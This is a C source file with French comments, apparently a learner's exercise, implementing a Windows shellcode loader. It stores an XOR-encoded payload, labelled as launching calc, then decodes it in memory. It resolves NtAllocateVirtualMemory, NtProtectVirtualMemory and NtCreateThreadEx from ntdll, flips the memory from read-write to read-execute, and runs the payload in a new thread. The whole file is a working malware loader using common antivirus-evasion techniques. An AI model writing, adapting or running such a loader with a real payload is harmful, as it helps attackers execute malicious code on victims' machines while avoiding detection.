#include <windows.h>
#include <stdio.h>
/*
Définition de NtAllocateVirtualMemory car au moment de la compilation, le compilateur n'a pas connaissance de la fonction
donc on lui donne sa définition
*/
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS (NTAPI * pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtection,
PULONG OldProtection
);
typedef NTSTATUS (NTAPI * pNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
int main(void) {
// Etape 1 : Shellcode (calc)
//Déclaration payload Xor
unsigned char xored_payload[] =
"\xd6\x62\xa9\xce\xda\xc2\xea\x2a\x2a\x2a\x6b\x7b\x6b\x7a"
"\x78\x7b\x7c\x62\x1b\xf8\x4f\x62\xa1\x78\x4a\x62\xa1\x78"
"\x32\x62\xa1\x78\x0a\x62\xa1\x58\x7a\x62\x25\x9d\x60\x60"
"\x67\x1b\xe3\x62\x1b\xea\x86\x16\x4b\x56\x28\x06\x0a\x6b"
"\xeb\xe3\x27\x6b\x2b\xeb\xc8\xc7\x78\x6b\x7b\x62\xa1\x78"
"\x0a\xa1\x68\x16\x62\x2b\xfa\xa1\xaa\xa2\x2a\x2a\x2a\x62"
"\xaf\xea\x5e\x4d\x62\x2b\xfa\x7a\xa1\x62\x32\x6e\xa1\x6a"
"\x0a\x63\x2b\xfa\xc9\x7c\x62\xd5\xe3\x6b\xa1\x1e\xa2\x62"
"\x2b\xfc\x67\x1b\xe3\x62\x1b\xea\x86\x6b\xeb\xe3\x27\x6b"
"\x2b\xeb\x12\xca\x5f\xdb\x66\x29\x66\x0e\x22\x6f\x13\xfb"
"\x5f\xf2\x72\x6e\xa1\x6a\x0e\x63\x2b\xfa\x4c\x6b\xa1\x26"
"\x62\x6e\xa1\x6a\x36\x63\x2b\xfa\x6b\xa1\x2e\xa2\x62\x2b"
"\xfa\x6b\x72\x6b\x72\x74\x73\x70\x6b\x72\x6b\x73\x6b\x70"
"\x62\xa9\xc6\x0a\x6b\x78\xd5\xca\x72\x6b\x73\x70\x62\xa1"
"\x38\xc3\x7d\xd5\xd5\xd5\x77\x62\x90\x2b\x2a\x2a\x2a\x2a"
"\x2a\x2a\x2a\x62\xa7\xa7\x2b\x2b\x2a\x2a\x6b\x90\x1b\xa1"
"\x45\xad\xd5\xff\x91\xda\x9f\x88\x7c\x6b\x90\x8c\xbf\x97"
"\xb7\xd5\xff\x62\xa9\xee\x02\x16\x2c\x56\x20\xaa\xd1\xca"
"\x5f\x2f\x91\x6d\x39\x58\x45\x40\x2a\x73\x6b\xa3\xf0\xd5"
"\xff\x49\x4b\x46\x49\x04\x4f\x52\x4f\x2a\x2a";
unsigned char key = 0x2A;
//Etape 2 : Creation zone mémoire NtAllocateVirtualMemory en RW
/*
Utilisation de GetModuleHandleA pour récupérer un handle sur ntddl.dll donc l'adresse de la DLL ntddl
https://learn.microsoft.com/fr-fr/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea
Utilisation de GetProcAdress pour récupérere l'adresse de la fonction NtAllocateVirtualMemory dans ntdll.dll
https://learn.microsoft.com/fr-fr/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
*/
HMODULE ntdll = GetModuleHandle("ntdll.dll");
if (ntdll == NULL){
printf("[-] Echec de recuperation de ntdll.dll\n");
}
else{
printf("[+] Recuperation Handle ntdll.dll \n");
}
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
printf("[+] Adresse de NtAllocateVirtualMemory : 0x%p\n", (void*)NtAllocateVirtualMemory);
/*
Initialisation des paramĂštre de la fonction NtAllocateVirtualMemory
On passe size par adresse car la fonction attends un pointeur
*/
SIZE_T size = sizeof(xored_payload); // Taille en bytes du shellcode
SIZE_T regionSize = size; // Celle-ci sera modifiée par Windows
HANDLE process = GetCurrentProcess();
/*
Ici la documentation nous dis d'utiliser la macro NtCurrentProcess pour spécifier le process actuelle
pour simplifier les choses j'utilise la fonction GetCurrentProcess de l'api windows mais sur une V2
il serait préferable d'utiliser NtCurrentProcess (https://ntdoc.m417z.com/ntcurrentprocess)
*/
PVOID baseadress = NULL;
NTSTATUS STATUS;
printf("****** Size Avant ntallocate : %d ******\n", size);
STATUS = NtAllocateVirtualMemory(process,&baseadress,0,&size,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
printf("****** Size Apres ntallocate : %d ****** \n", size);
/* Valeur de NTSTATUS https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 */
// Affichage du code de statut
printf("[+] Status de l'allocation : 0x%08X\n", STATUS);
if (STATUS == 0) {
printf("[+] Success ! Memoire allouee.\n");
printf("[+] Adresse : %p\n", baseadress);
} else {
printf("[-] Erreur ! Code : 0x%08X\n", STATUS);
}
// Etape 3 Copier la payload XORe dans l'espace mémoire alloué
memcpy(baseadress,xored_payload,regionSize);
/*
Obligé d'avoir une copie de la taille car aprÚs que NtAllocateVirtualMemory l'ai manipulé il se passe quelque chose de bizarre
avec sa valeur et memcpy crash faudrait que j'investigue
*/
// Etape 4 DeXor du programme
printf("[+] Debut du dechiffrement XOR...\n");
for (int i = 0; i < regionSize - 1 ; i++) {
((unsigned char*)baseadress)[i] = ((unsigned char*)baseadress)[i] ^ key;
/* DĂCORTICAGE DU CAST : ((unsigned char*)exec)[i]
- exec : C'est un PVOID (pointeur vers "rien"). Le CPU ne sait pas quelle taille fait la donnée.
- (unsigned char*) : On force le compilateur Ă voir 'exec' comme une suite d'octets (1 octet par case).
- [i] : On accÚde à la case numéro 'i' (l'offset).
- ^ key : On applique l'opération XOR pour inverser le chiffrement.
*/
}
printf("[+] Payload dechiffre en memoire.\n");
//Etape 5 Passe de RW - RX NtProtectVirtualMemory
pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
printf("[+] Adresse de NtProtectVirtualMemory : 0x%p\n", (void*)NtProtectVirtualMemory);
/* Param */
DWORD old_status = 0;
NTSTATUS STATUS2;
STATUS2 = NtProtectVirtualMemory(process,&baseadress,®ionSize,PAGE_EXECUTE_READ,&old_status);
if (STATUS2 == 0) {
printf("[+] Success ! Memoire RX.\n");
} else {
printf("[-] Erreur ! Code : 0x%08X\n", STATUS2);
}
//Etape 6 - Créer un Thread puis l'éxecuter -> NtCreateThreadEx
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
printf("[+] Adresse de NtCreateThreadEx : 0x%p\n", (void*)NtCreateThreadEx);
NTSTATUS STATUS3;
HANDLE new_thread;
STATUS3 = NtCreateThreadEx(&new_thread,THREAD_ALL_ACCESS,NULL,process,baseadress,NULL,0,0,0,0,NULL);
if (STATUS3 == 0) {
printf("[+] Success ! Thread cree.\n");
WaitForSingleObject(new_thread, INFINITE);
} else {
printf("[-] Erreur ! Code : 0x%08X\n", STATUS2);
}
/*
typedef NTSTATUS (NTAPI * pNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
*/
return 0;
}